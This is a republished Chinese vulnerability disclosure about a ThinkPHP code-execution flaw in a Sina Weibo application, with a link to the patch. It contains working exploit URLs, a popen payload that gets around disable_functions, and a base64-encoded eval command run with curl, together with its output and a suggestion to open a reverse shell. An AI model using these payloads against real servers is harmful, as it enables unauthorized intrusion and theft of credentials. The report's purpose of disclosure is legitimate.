网站地图    收藏   

主页 > 后端 > 网站安全 >

新浪微博任意代码执行漏洞+突破限制拿shell+可能

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 新浪微博存在一处任意代码执行漏洞,但服务器有些disable_function限制,可惜太粗糙,导致绕过,反弹服务器shell,并可进一步渗透攻击。详细说明:Thinkphp的补丁被wooyun平台分析后,自己...

新浪微博存在一处任意代码执行漏洞,但服务器有些disable_function限制,可惜太粗糙,导致绕过,反弹服务器shell,并可进一步渗透攻击。
详细说明:Thinkphp的补丁被wooyun平台分析后,自己也读了一把,对漏洞发现者甚是膜拜,同时wofeiwo的出色分析也让人精神为之一爽,顿时湿了。
 
这个漏洞因为工作原因跟的慢了一些,去官方成功案例看了一下,没想到看到新浪微博一个应用用了这个框架,看了一把,确实存在哟。
 
http://tan.weibo.com/h/1/236/aaa/$%7B@print_r($_SERVER)%7D
 
读取到了服务器的$_SERVER变量,里面甚至还存在数据库地址与密码。。
 
本想执行个命令就提交wooyun,但是disable_functions了
 
http://tan.weibo.com/h/1/236/aaa/$%7B@print(get_cfg_var('disable_functions'))%7D
返回:
 
phpinfo,system,exec,shell_exec,passthru,proc_open,proc_close,show_source
呵呵,弱了点,突破方法很多,这里用popen做个exploit
 
error_reporting(E_ALL);$handle = popen('/bin/sh -c '."'$_POST[x]'".' 2>&1', 'r');echo "'$handle'; " . gettype($handle) . "\n";$read = fread($handle, 2096);echo $read;pclose($handle);die();
为什么用POST是因为框架的URI取值问题,POST就畅通无阻了
 
这个地方没处理单引号,方便了一些,但是poc里面的某些代码会干扰取值,所以encode一下
 
curl "http://tan.weibo.com/h/1/236/aaa/$%7B@eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTskaGFuZGxlID0gcG9wZW4oJy9iaW4vc2ggLWMgJy4iJyRfUE9TVFt4XSciLicgMj4mMScsICdyJyk7ZWNobyAiJyRoYW5kbGUnOyAiIC4gZ2V0dHlwZSgkaGFuZGxlKSAuICJcbiI7JHJlYWQgPSBmcmVhZCgkaGFuZGxlLCAyMDk2KTtlY2hvICRyZWFkO3BjbG9zZSgkaGFuZGxlKTtkaWUoKTs'))%7D" -d "x=ls"
'Resource id #33'; resource
Api
Conf
Data
Lib
Public
ThinkPHP
Tpl
api.php
co.php
db
favicon.ico
index.php
oauthcallback.php
pictureDownLoad.php
ssocallback.php
system
t.php
嘿。
 
这个因为访问权限的问题,可以访问到这个服务器上所有的源码
 
 
因为是服务器群,所以执行的命令可能一会A,一会B,一会C。。这个自己想办法吧,既然可以执行命令了,直接弹shell。
漏洞证明:






 
 
修复方案:修复方案:
https://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
ThinkPHP漏洞分析:http://www.2cto.com/Article/201204/126822.html

作者 牛奶坦克

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论